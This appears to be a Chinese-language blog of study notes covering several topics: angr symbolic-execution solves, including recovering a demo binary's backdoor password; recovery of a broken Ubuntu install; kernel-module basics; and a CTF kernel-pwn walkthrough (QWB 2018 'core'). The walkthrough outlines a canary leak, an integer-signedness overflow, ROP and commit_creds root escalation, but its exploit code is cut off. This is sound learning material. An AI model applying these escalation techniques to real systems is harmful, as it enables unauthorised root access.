# firmware that can authenticate users but also has a backdoor - the backdoor
# is that anybody who provides the string "SOSNEAKY" as their password will be
# automatically authenticated.

def basic_symbolic_execution():
# We can use this as a basic demonstration of using angr for symbolic
# execution. First, we load the binary into an angr project.
# 这里先展示了一个很基础的符号执行,首先把对应的binary文件名填进一个angr Project
p = angr.Project('eg1',load_options={"auto_load_libs": False})
# 这里我加上了 "load_options={"auto_load_libs": False}"
# 在load了Project之后可以用p.loader.all_objects查看所有加载器已加载的对象

# Now, we want to construct a representation of symbolic program state.
# SimState objects are what angr manipulates when it symbolically executes
# binary code.
# SimState对象也主要保存着程序运行到某一阶段的状态信息。通过这个对象可以操作某一运行状态的上下文信息
# 比如内存,寄存器等

# 可以通过Project.factory这个容器中的任何一个方法来获取SimState对象,这个factory有多个构造函数
# 如:block、entry_state等。这里使用entry_state返回一个初始化到二进制entry point的SimState对象
# The entry_state constructor generates a SimState that is a very generic
# representation of the possible program states at the program's entry
# point. entry_state 主要是做一些初始化工作,然后在程序的入口处停下
# There are more constructors, like blank_state, which constructs a
# "blank slate" state that specifies as little concrete data as possible,
# or full_init_state, which performs a slow and pedantic initialization of
# program state as it would execute through the dynamic loader.
# 其中 full_init_state 会从动态链接时开始就记录

state = p.factory.entry_state()
# state对象一般是作为 符号执行开始前创建用来为后续的执行初始化一些数据,比如栈状态,寄存器值。
# 或者在 路径探索结束后 返回一个 state 对象供用户提取需要的值或进行约束求解
# 解出到达目标分支所使用的符号量的值。

# 当然了解了符号执行的概念之后就知道为什么有时候要默认在程序入口点停下了,毕竟我们暂时要分析的是程序的执行流

# Now, in order to manage the symbolic execution process from a very high
# level, we have a SimulationManager. SimulationManager is just collections
# of states with various tags attached with a number of convenient
# interfaces for managing them.

sm = p.factory.simulation_manager(state)
# 根据state设置 Simulation Managers ,这是一个进行路径探索的对象
# Uncomment the following line to spawn an IPython shell when the program
# gets to this point so you can poke around at the four objects we just
# constructed. Use tab-autocomplete and IPython's nifty feature where if
# you stick a question mark after the name of a function or method and hit
# enter, you are shown the documentation string for it.

# import IPython; IPython.embed()

# Now, we begin execution. This will symbolically execute the program until
# we reach a branch statement for which both branches are satisfiable.

sm.run(until=lambda sm_: len(sm_.active) > 1)
# 此示例代码采用的方法是用Simulation Managers的run方法
# 执行刚好出现 2个分支时就执行完毕,也就是我们后门函数的那个if条件被触发,此时程序产生两个执行分支,随即停止

# If you look at the C code, you see that the first "if" statement that the
# program can come across is comparing the result of the strcmp with the
# backdoor password. So, we have halted execution with two states, each of
# which has taken a different arm of that conditional branch. If you drop
# an IPython shell here and examine sm.active[n].solver.constraints
# you will see the encoding of the condition that was added to the state to
# constrain it to going down this path, instead of the other one. These are
# the constraints that will eventually be passed to our constraint solver
# (z3) to produce a set of concrete inputs satisfying them.

# As a matter of fact, we'll do that now.

input_0 = sm.active[0].posix.dumps(0)
input_1 = sm.active[1].posix.dumps(0)

# We have used a utility function on the state's posix plugin to perform a
# quick and dirty concretization of the content in file descriptor zero,
# stdin. One of these strings should contain the substring "SOSNEAKY"!

# 当然这里也可以选择把所有分支都打印出来看看,代码:
# for i in range(len(pathgroup.active)):
# print "possible %d: " % i, pathgroup.active[i].state.posix.dumps(0)
# 此时dump的就是字符串str
if b'SOSNEAKY' in input_0:
return input_0
else:
return input_1

def test():
r = basic_symbolic_execution()
assert b'SOSNEAKY' in r

if __name__ == '__main__':
sys.stdout.buffer.write(basic_symbolic_execution())

# You should be able to run this script and pipe its output to fauxware and
# fauxware will authenticate you.

其中在创建Project时有这么一个点要注意一下

auto_load_libs 设置是否自动载入依赖的库,如果设置为 True 的话会自动载入依赖的库,然后分析到库函数调用时也会进入库函数,这样会增加分析的工作量,也有能会跑挂

eg1的第二个solve代码:

1
2
3
4
5
6
7
8
proj = angr.Project('eg1')
state = proj.factory.entry_state()
while True:
succ = state.step() # 一次step记录一次执行分支的state
if len(succ.successors) == 2:#这个代码的意思也是在产生两个分支时停下,打印输出用上面代码的注释那段就好
break
state = succ.successors[0]
state1, state2 = succ.successors

这里step函数的返回值是 “an object called SimSuccessors

当然这里写法还有很多很多,具体强烈推荐参考官方文档,还有官方API文档,本博客在文末板块会尽量更新一下CTF中碰到的用法,限于英语原因很多原文中的core conception可能本人理解会有误

博主写到这里暂时感觉最好用的函数是这几个:

1
2
3
4
5
simgr.step()#这个就是上面代码中的,一个分支一个分支的记录也好像挺好用2333

sm.explore(find=0x400591) # 这个是直接设置符号执行遍历到哪个代码块停下来,很好用

simgr.explore(find=lambda s: b"Congrats" in s.posix.dumps(1))#这个是用标准输出中输出了什么来判断,直接用起来也很无脑

此道逆向题的angr解法

中间这些state操作建议先参考文末的设置&变量用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import angr
import claripy

p = angr.Project("./funre", load_options={"auto_load_libs": False})
f = p.factory
state = f.entry_state(addr=0x400605) # 设置state开始运行时运行到的地址
flag = claripy.BVS("flag", 8*32) #这里设置了一个flag VBS,长度是8*32bit
state.memory.store(0x603055+0x300+5, flag) #因为程序没有输入,所以直接把字符串设置到内存
state.regs.rdx = 0x603055+0x300
state.regs.rdi = 0x603055+0x300+5 # 然后设置两个寄存器

sm = p.factory.simulation_manager(state) # 准备从该state开始遍历执行路径

print("[+] init ok")

sm.explore(find=0x401DAE) # 遍历到成功的地址
if sm.found:
print("[+] found!")
x = sm.found[0].solver.eval(flag, cast_to=bytes)
print(x)

我跑下来大概只用了一两分钟时间不到?不过貌似还能加速,这里也介绍一下加速要用到的东西

加速模块安装


注意这里安装的方法本人安装失败了…介于之前装崩python的原因就暂时不继续探究原因了,只不过好像是一个什么版本的问题,具体参考这篇文章末尾

  1. sudo apt install pypy
  2. wget https://bootstrap.pypa.io/get-pip.py
  3. sudo pypy get-pip.py

第二种方法就是在init_state时加上add_options=angr.options.unicorn

angr中碰到的一些设置&变量用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
################## 设置操作
state.solver.BVV(1, 64) # 设置一个Bitvector 第一个参数是初始值 第二个参数是长度 也可以用下面简单的写法

args = claripy.BVS("args", 8 * 16) # 用claripy包设置一个符号变量(十六进制字符串)

weird_nine.zero_extend(64 - 27) # Bitvector长度转换 这里示意是从27->64

p.hook(addr=0x08048485, hook=hook_demo, length=2) # 设置一个hook,address是执行到什么地方之后hook,hook_demo代表一个函数,length是hook_demo执行之后需要跳过的指令长度
#具体的hook操作在以后会慢慢写到


################## state操作
state.regs.X # X代表要操作的寄存器,这里可以设置寄存器的值,此时寄存器的类型是一个Bitvector

hex(state.se.eval(state.regs.X)) # 想要获取寄存器Bitvector的int值需要使用eval函数来获取 BVS同理

state.mem[state.regs.rsp].qword # 获取某个寄存器指向的内存 可以看到这里mem的参数也是BVV
# 但是返回值是类似这种:<uint64_t <BV64 0xdeadbeefdeadbeef> at 0x7fffffffffeff78>
state.se.eval(xxx.qword.resolved) # 通过eval拿到此地址对应类型的确切值

state.memory.store(state.regs.rsp,data)
state.memory.load(state.regs.rsp, 0x40) # 这里可以直接通过地址来进行存储不一定要寄存器,满足BVV的操作就行

state.posix.dumps(0) # dump运行时标准输入


################# SimulationManager操作
sm = p.factory.simgr(state)
sm.explore(find=0x400591)
st = sm.found[0] # 通过found[0]拿到的是此时的state,可以再通过上面state的操作dump标准输入

st.se.eval(args,cast_to=str) # 当然如果用到了 BVS 的话就可以使用cast_to来转成普通字符串了

参考文章:https://www.secpulse.com/archives/83197.html

记录一次apt包误删后的恢复

愚人节的第一个惊喜???

昨天本来是换ubuntu16 py3环境的,先删掉了自己原生的py3,可惜脑残从网上复制命令的时候可能有一句autoremove之类的东西?我所有ubuntu原生与py3有关的apt包怕是全被删完…..当时删了600多M没在意,然后用的时候只是发现终端坏了,gedit没了,然后在终端还仅存的时候装上了gnome-terminal和gedit,现在想想都后怕,要是当时没装上还得在那个黑洞洞的Xterm里面重装

然后今天来操作的时候偶然一个什么操作触发了崩盘

image-20200401161311509

图形化界面几乎是崩了一半了,窗口也拖不动只有命令行和这个可怜的桌面上几个文件夹和我打交道(幸好终端滚动条还能用),开机可以正常开,不过此时可以看到网络是断开的:

image-20200401162339042

第一步:终端

发现Ctrl+Alt+T没反应了,不清楚具体什么原因,但是右键桌面幸好还是可以开启terminal

第二步:网络

首先我面临的问题不是命令使用不了了,正常命令我都可以使用,但是我需要的是用apt把这些包全都装回来

image-20200401162540191

直接ifconfig看的话就是这样的,下面是我的解决方案

sudo /sbin/dhclient(在这条命令之前好像还尝试启动了一些服务之类的,由于是操作到一半来记录的所以前面几条可能就没有了,不过这条是最有效的,因为使用了之后我直接就可以ping通DNS和baidu了,重启之后也是和上面显示的一样,但是直接使用这条命令的话就可以瞬间通网,神奇)

sudo service network-manager start

sudo gedit /etc/NetworkManager/NetworkManager.conf 把最后一行的false改成true,这下开机的时候就会自动有网了

第三步:开始琢磨apt包

桌面apt包

还是先sudo apt update && sudo apt upgrade

之前换源的文件倒是没事,照样可用,但是upgrade的时候有内容不能fetch,所以先进行下面的操作

sudo apt install compiz

sudo apt install unity

sudo apt install gdebi

sudo apt install ubuntu-desktop

sudo apt-get install --reinstall ubuntu-desktop(这个reinstall是照着敲的,也没多想)

这里还参考了知乎上的这篇回答

然后桌面系统就恢复正常了

重新启动一切正常,Ctrl+Alt+T也可以使用了

其他apt包(可能会长期更新)

sudo apt install libxslt-dev
sudo apt install libjpeg-dev
sudo apt install python-pip

后续

之后因为系统报错所以我还执行了这两条命令,虽然不知道有没有用

sudo service apport restart

sudo systemctl restart apport

kernel入门

编译驱动程序

hello.c


/usr/src/linux-headers-4.4.0-174/ –> 该内核源码目录
/usr/src/linux-headers-4.4.0-174-generic/ –> 该内核编译好的源码目录


切到/usr/src/linux-headers-4.4.0-174-generic路径

然后make menuconfig,我照着大致修改了一下有些没有开启的东西(乱开一通系列…)

切回我们第一个想编译的程序路径

第一个驱动程序hello.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)
{
printk(KERN_ALERT "Hello, world\n");
return 0;

}

static void hello_exit(void)
{
printk(KERN_ALERT "Goodbye, cruel world\n");

}

module_init(hello_init);
module_exit(hello_exit);//module_exit会将这个函数

Makefile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# To build modules outside of the kernel tree, we run "make"
# in the kernel source tree; the Makefile these then includes this
# Makefile once again.
# This conditional selects whether we are being included from the
# kernel Makefile or not.
ifeq ($(KERNELRELEASE),)

# Assume the source tree is where the running kernel was built
# You should set KERNELDIR in the environment if it's elsewhere
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
# The current directory is passed to sub-makes as argument
PWD := $(shell pwd)

modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

modules_install:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules_install

clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

.PHONY: modules modules_install clean

else
# called from kernel build system: just declare what our modules are
obj-m := hello.o
endif

接着执行make

编译好了之后就可以在目录下看到这个文件(kenel object缩写)

1584795814785

使用sudo insmod hello.ko即可加载该驱动程序(模块) //此时会调用module_init设置的设备初始化函数

lsmod |grep hello可以看到驱动被成功加载

tail /var/log/syslog可以看到最后一行是程序的init加载就输出的内容

rmmod移除模块 //此时会调用module_exit设置的设备退出函数

tail /var/log/syslog也可以看到程序fini输出的内容了

IDA界面如下

1584962662551

其中printk似乎会在字符串前面加上一个1,左边就可以看到我们的驱动有init和exit两个函数了

在dev下增加驱动文件

参考来自:https://paper.seebug.org/779/#_2

这段代码很长,不过我主要只是理解了其中一个概念:struct file_operations scull_fops是啥

当然我当时编译的时候报错了,下面这段代码要加上一个这个,还有把raw_copy_...函数前面的raw_去掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h> /* printk() */
#include <linux/slab.h> /* kmalloc() */
#include <linux/fs.h> /* everything... */
#include <linux/errno.h> /* error codes */
#include <linux/types.h> /* size_t */
#include <linux/fcntl.h> /* O_ACCMODE */
#include <linux/cdev.h>
#include <asm/uaccess.h> /* copy_*_user */

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamael");

int scull_major = 0;
int scull_minor = 0;
int scull_nr_devs = 4;
int scull_quantum = 4000;
int scull_qset = 1000;

struct scull_qset {
void **data;
struct scull_qset *next;
};

struct scull_dev {
struct scull_qset *data; /* Pointer to first quantum set. */
int quantum; /* The current quantum size. */
int qset; /* The current array size. */
unsigned long size; /* Amount of data stored here. */
unsigned int access_key; /* Used by sculluid and scullpriv. */
struct mutex mutex; /* Mutual exclusion semaphore. */
struct cdev cdev; /* Char device structure. */
};

struct scull_dev *scull_devices; /* allocated in scull_init_module */

/*
* Follow the list.
*/
struct scull_qset *scull_follow(struct scull_dev *dev, int n)
{
struct scull_qset *qs = dev->data;

/* Allocate the first qset explicitly if need be. */
if (! qs) {
qs = dev->data = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs == NULL)
return NULL;
memset(qs, 0, sizeof(struct scull_qset));
}

/* Then follow the list. */
while (n--) {
if (!qs->next) {
qs->next = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs->next == NULL)
return NULL;
memset(qs->next, 0, sizeof(struct scull_qset));
}
qs = qs->next;
continue;
}
return qs;
}

/*
* Data management: read and write.
*/

ssize_t scull_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr; /* the first listitem */
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset; /* how many bytes in the listitem */
int item, s_pos, q_pos, rest;
ssize_t retval = 0;

if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
if (*f_pos >= dev->size)
goto out;
if (*f_pos + count > dev->size)
count = dev->size - *f_pos;

/* Find listitem, qset index, and offset in the quantum */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum; q_pos = rest % quantum;

/* follow the list up to the right position (defined elsewhere) */
dptr = scull_follow(dev, item);

if (dptr == NULL || !dptr->data || ! dptr->data[s_pos])
goto out; /* don't fill holes */

/* read only up to the end of this quantum */
if (count > quantum - q_pos)
count = quantum - q_pos;

if (raw_copy_to_user(buf, dptr->data[s_pos] + q_pos, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;

out:
mutex_unlock(&dev->mutex);
return retval;
}

ssize_t scull_write(struct file *filp, const char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr;
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset;
int item, s_pos, q_pos, rest;
ssize_t retval = -ENOMEM; /* Value used in "goto out" statements. */

if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;

/* Find the list item, qset index, and offset in the quantum. */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum;
q_pos = rest % quantum;

/* Follow the list up to the right position. */
dptr = scull_follow(dev, item);
if (dptr == NULL)
goto out;
if (!dptr->data) {
dptr->data = kmalloc(qset * sizeof(char *), GFP_KERNEL);
if (!dptr->data)
goto out;
memset(dptr->data, 0, qset * sizeof(char *));
}
if (!dptr->data[s_pos]) {
dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
if (!dptr->data[s_pos])
goto out;
}
/* Write only up to the end of this quantum. */
if (count > quantum - q_pos)
count = quantum - q_pos;

if (raw_copy_from_user(dptr->data[s_pos]+q_pos, buf, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;

/* Update the size. */
if (dev->size < *f_pos)
dev->size = *f_pos;

out:
mutex_unlock(&dev->mutex);
return retval;
}

/* Beginning of the scull device implementation. */

/*
* Empty out the scull device; must be called with the device
* mutex held.
*/
int scull_trim(struct scull_dev *dev)
{
struct scull_qset *next, *dptr;
int qset = dev->qset; /* "dev" is not-null */
int i;

for (dptr = dev->data; dptr; dptr = next) { /* all the list items */
if (dptr->data) {
for (i = 0; i < qset; i++)
kfree(dptr->data[i]);
kfree(dptr->data);
dptr->data = NULL;
}
next = dptr->next;
kfree(dptr);
}
dev->size = 0;
dev->quantum = scull_quantum;
dev->qset = scull_qset;
dev->data = NULL;
return 0;
}

int scull_release(struct inode *inode, struct file *filp)
{
printk(KERN_DEBUG "process %i (%s) success release minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}

/*
* Open and close
*/

int scull_open(struct inode *inode, struct file *filp)
{
struct scull_dev *dev; /* device information */

dev = container_of(inode->i_cdev, struct scull_dev, cdev);
filp->private_data = dev; /* for other methods */

/* If the device was opened write-only, trim it to a length of 0. */
if ( (filp->f_flags & O_ACCMODE) == O_WRONLY) {
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
scull_trim(dev); /* Ignore errors. */
mutex_unlock(&dev->mutex);
}
printk(KERN_DEBUG "process %i (%s) success open minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}

/*
* The "extended" operations -- only seek.
*/

loff_t scull_llseek(struct file *filp, loff_t off, int whence)
{
struct scull_dev *dev = filp->private_data;
loff_t newpos;

switch(whence) {
case 0: /* SEEK_SET */
newpos = off;
break;

case 1: /* SEEK_CUR */
newpos = filp->f_pos + off;
break;

case 2: /* SEEK_END */
newpos = dev->size + off;
break;

default: /* can't happen */
return -EINVAL;
}
if (newpos < 0)
return -EINVAL;
filp->f_pos = newpos;
return newpos;
}

struct file_operations scull_fops = {
.owner = THIS_MODULE,
.llseek = scull_llseek,
.read = scull_read,
.write = scull_write,
// .unlocked_ioctl = scull_ioctl,
.open = scull_open,
.release = scull_release,
};

/*
* Set up the char_dev structure for this device.
*/
static void scull_setup_cdev(struct scull_dev *dev, int index)
{
int err, devno = MKDEV(scull_major, scull_minor + index);

cdev_init(&dev->cdev, &scull_fops);
dev->cdev.owner = THIS_MODULE;
dev->cdev.ops = &scull_fops;
err = cdev_add (&dev->cdev, devno, 1);
/* Fail gracefully if need be. */
if (err)
printk(KERN_NOTICE "Error %d adding scull%d", err, index);
else
printk(KERN_INFO "scull: %d add success\n", index);
}


void scull_cleanup_module(void)
{
int i;
dev_t devno = MKDEV(scull_major, scull_minor);

/* Get rid of our char dev entries. */
if (scull_devices) {
for (i = 0; i < scull_nr_devs; i++) {
scull_trim(scull_devices + i);
cdev_del(&scull_devices[i].cdev);
}
kfree(scull_devices);
}

/* cleanup_module is never called if registering failed. */
unregister_chrdev_region(devno, scull_nr_devs);
printk(KERN_INFO "scull: cleanup success\n");
}


int scull_init_module(void)
{
int result, i;
dev_t dev = 0;

/*
* Get a range of minor numbers to work with, asking for a dynamic major
* unless directed otherwise at load time.
*/
if (scull_major) {
dev = MKDEV(scull_major, scull_minor);
result = register_chrdev_region(dev, scull_nr_devs, "scull");
} else {
result = alloc_chrdev_region(&dev, scull_minor, scull_nr_devs, "scull");
scull_major = MAJOR(dev);
}
if (result < 0) {
printk(KERN_WARNING "scull: can't get major %d\n", scull_major);
return result;
} else {
printk(KERN_INFO "scull: get major %d success\n", scull_major);
}

/*
* Allocate the devices. This must be dynamic as the device number can
* be specified at load time.
*/
scull_devices = kmalloc(scull_nr_devs * sizeof(struct scull_dev), GFP_KERNEL);
if (!scull_devices) {
result = -ENOMEM;
goto fail;
}
memset(scull_devices, 0, scull_nr_devs * sizeof(struct scull_dev));

/* Initialize each device. */
for (i = 0; i < scull_nr_devs; i++) {
scull_devices[i].quantum = scull_quantum;
scull_devices[i].qset = scull_qset;
mutex_init(&scull_devices[i].mutex);
scull_setup_cdev(&scull_devices[i], i);
}

return 0; /* succeed */

fail:
scull_cleanup_module();
return result;
}

module_init(scull_init_module);
module_exit(scull_cleanup_module);

makefile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

ifneq ($(KERNELRELEASE),)

obj-m := file_operations.o

else

KERN_DIR ?= /usr/src/linux-headers-$(shell uname -r)/
PWD := $(shell pwd)

default:

$(MAKE) -C $(KERN_DIR) M=$(PWD) modules

endif


clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

IDA界面如下

1584963141639

可以看到这边是一系列的对应的操作函数


驱动提供的接口是/dev/xxx,在Linux下Everything is File,所以对驱动设备的操作其实就是对文件的操作,所以一个驱动就是用来定义打开/读/写/……一个/dev/xxx将会发生啥,驱动提供的API(fops中指定的)也就是一系列的文件操作

struct file_operations scull_fops结构体中实现了的函数就会静态初始化上函数地址,而未实现的函数,值为NULL

结构体中实现的几个call,冒号右侧的函数名是由开发者自己起的,在驱动程序载入内核后,其他用户程序程序就可以借助文件方式像进行系统调用一样调用这些函数实现所需功能。

这里是一些已知的常见对应操作:

1
2
3
4
5
6
Events		User functions		Kernel functions
Load insmod module_init()
Open fopen file_operations: open
Close fread file_operations: read
Write fwrite file_operations: write
Close fclose file_operations: release

这里还有一些知识点,比如驱动分类,主次编号,什么的,我写的这些主要也是参考了这篇文章


之后insmod,此时虽然驱动已经加载成功了(dmesg可以看到驱动主编号是246,分别用四个次编号标记了4个设备,4个是怎么来的看上面代码就知道了)

1584964191239

但是此时并不会在/dev目录下创建设备文件,需要我们手动使用mknod进行设备链接

1584964631604

此时还可以指定设备类型,然后删除就直接使用rm就好了

这里记一下命令:
dmesg可以查看syslog
cat /proc/devices 中查看设备的类型(左边是主设备号,右边的是设备名)
mknod 设备名 设备类型(字符:c,块:b) 主设备号 从设备号

rmmod之后dmesg还可以看到一条scull: cleanup success

kernel pwn基础知识

这篇文章,中有这么一句话

如果驱动在init中执行了proc_create(“core”, 0x1B6LL, 0LL, &core_fops),文件名是“core”,而且在回调中实现了ioctl,那么其他用户程序就可以先fopen这个core获取文件指针fd,然后执行ioctl(fd,<参数>,<参数>)来进行具体操作,其他的fop中的回调接口函数也类似。

然后我就去看了ioctl是什么:


ioctl(input/output control)是一个专用于设备输入输出操作的系统调用,该调用传入一个跟设备有关的请求码,系统调用的功能完全取决于请求码

ioctl是设备驱动程序中对设备的I/O通道进行管理的函数。所谓对I/O通道进行管理,就是对设备的一些特性进行控制,例如串口的传输波特率、马达的转速等等。它的调用个数如下:

1
int ioctl(int fd, ind cmd, …);

其中fd是用户程序打开设备时使用open函数返回的文件标示符,cmd是用户程序对设备的控制命令,至于后面的省略号,那是一些补充参数,一般最多一个,这个参数的有无和cmd的意义相关。

ioctl函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。


差不多就是我们与驱动设备交互的一个函数吧,一般前两个参数是fd还有控制码,然后还有一句话

一个进程的在用户态和内核态是对应了完全不搭边儿的两个栈的,用户栈和内核栈既然相互隔离,在系统调用或者调用驱动、内核模块函数时就不能通过栈传参了,而要通过寄存器,像拷贝这样的操作也要借助具体的函数:copy_to_user/copy_from_user

就是说内核栈和用户栈是相互隔离的,然后通过寄存器传参

然后进入kernel态一般有如下情况:

  1. 系统调用

  2. 产生异常

  3. 外设产生中断

    等等

至于提权的话就是这些了:由于这些内核模块运行时的权限是root权限,因此我们将有机会借此拿到root权限的shell,流程上就是C程序exp调用内核模块利用其漏洞提权,只是提权后要“着陆”回用户态拿shell。提权代码是commit_creds(prepare_kernel_cred(0))

进入kernel态进行的操作

保存用户态的各个寄存器,以及执行到代码的位置

从kernel态返回用户态进行的操作

执行swapgs 和 iret 指令

一般的攻击思路

1584965699729


记一下命令:

查看所开保护cat /proc/cpuinfo
查看内核堆块 cat /proc/slabinfo
查看prepare_kernel_cred和commit_creds地址
grep prepare_kernel_cred /proc/kallsyms
grep commit_creds /proc/kallsyms


实操linux kernel ROP

强网杯2018-core

下载下来压缩文件之后看到有这几个文件:

1584966164347

其中对应的文件意思如下(来自星盟公开课的截图):

1584966068272

其中bzImage是打包的内核代码,可以用来寻找gadget

这里写一下师傅们的注意事项:

注意,vmlinux是未经压缩的,然而在core.cpio里面也有一个vmlinux,里面那个是起系统后真正的vmlinux,按理说这俩应该是一样的,单独拿出来是为了你方便分析,但是笔者亲测的时候发现这俩竟然不一样,可能是下载的时候弄错了?如果读者也遇到相同情况,不要用外面那个,一定要用core.cpio里面那个

start.sh中有以下内容

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ #这里开启了kaslr保护
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

我们可以自己再做一份rootstart.sh还有一个root.cpio,主要是用来调试

其中在sh文件最后加上gdb调试的选项:-gdb tcp::1234
还有比如关掉kaslr

新制作的root.cpio中则需要修改以下几点:

  1. cpio包中的init文件,里面有一行poweroff,是到时间自动关机的命令,可以取消掉
  2. 同样是init文件,setsid /bin/cttyhack setuidgid 1000 /bin/sh改成0000,这样就可以以root身份启动了

ps:这里就是整个系统的配置,如果发现有什么配置有问题的话说不定就非预期解了….然后系统初始化操作没有写在这里的话看看/etc/init.d/rcS,有时候初始化配置会写在这里

新制作的rootstart.sh就是这样:

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./root.cpio \ #用新的root.cpio启动
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ #nokslr
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-gdb tcp::1234 # gdb 调试端口

启动踩坑

然后启动….

但是启动的时候我疯狂踩坑,被坑了很久很久

那个-s就是代表了-gdb tcp::1234所以并不需要这一行….

然后qemu第一个报错是:Initramfs unpacking failed: incorrect cpio method used: use -H newc option,因为我在之前尝试用

cpio -idmv < core.cpio解包的时候就发现有点问题,所以我就用图形化界面的解包工具把cpio解包了之后再用find . | cpio -o --format=newc > ./root.cpio,把它重新打包了一下

接着发现还是起不起来,找了师傅们的博客,就又把上面.sh中的 -m 64改成了 -m 128

还是起不来(跪,报错:Kernel panic - not syncing: Out of memory and no killable processes…

本来以为是自己虚拟机的问题,先跑过去激活了之前忘记激活的swap分区…然后各种操作,最后….

找了半天原因,…..发现原来是师傅们的128也不行,改成 -m 256M跑起来了,也差不多懂了 qemu 的-m到底是干嘛的……

程序分析

啊….总算可以开始正式写题了

这里记一下一般kernel pwn的步骤吧,就照着师傅们写的来

第一步

先看init函数和fop结构体

1584974897309

可见驱动文件创建于proc下的core文件,在我们的用户程序中对ioctl等驱动函数的访问就是通过core文件来进行的

1584974842581

可以看到fop回调中只实现了如图三个回调,因此,虽然ida左侧的函数列表中还有core_read、core_copy_func但是这俩是驱动内部的函数,是不能由用户程序来调用的

ioctl

1584974968510

根据请求码执行相应的函数

core_read

1584975417499

这里的意思大概就是打印了off还有ioctl第三个参数的值

然后进行了一个类似memset的操作,接着从栈buffer的off偏移位置开始拷贝给用户64字节的数据

显然off如果可控的话就leak了canary或者其他一些东西

然而off在我们传入的控制码为0x6677889C时,就可以直接赋值为ioctl的第三个参数

core_copy_func

1584975853772

这个函数的意思就是ioctl的第三个参数如果大于0x3F时,就会detect到溢出然后直接返回,否则直接从name全局变量中拷入p3个字节的数据到v3这个栈buffer中,但是在memcpy时p3被转换成了unsigned __int16,所以我们在p3为负数时可以实现一个比较大的overflow

core_write

再来看注册过的write函数

1584976661640

user的buffer就是通过这个函数传给name,不过这里看不到v5的赋值

1584976821281

在汇编里面可以看到这个赋值是通过rsi来进行的

所以流程就是这样:

  1. 设置off值
  2. 泄露canary
  3. 把rop链写进name变量
  4. 利用无符号整型漏洞进行栈溢出写rop链

ret2user&exp

1584977702149

注意init脚本中拷贝了一份内核函数表到/tmp/kallsyms,可以供我们直接读到内核函数地址,此时读到的符号在开启kaslr下就是读到的kaslr后的地址,可以减去没有开kaslr时的偏移

对于kernel pwn的exp的话先看别人是怎么写的吧,然后自己再慢慢学着写,模板肯定都是差不多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
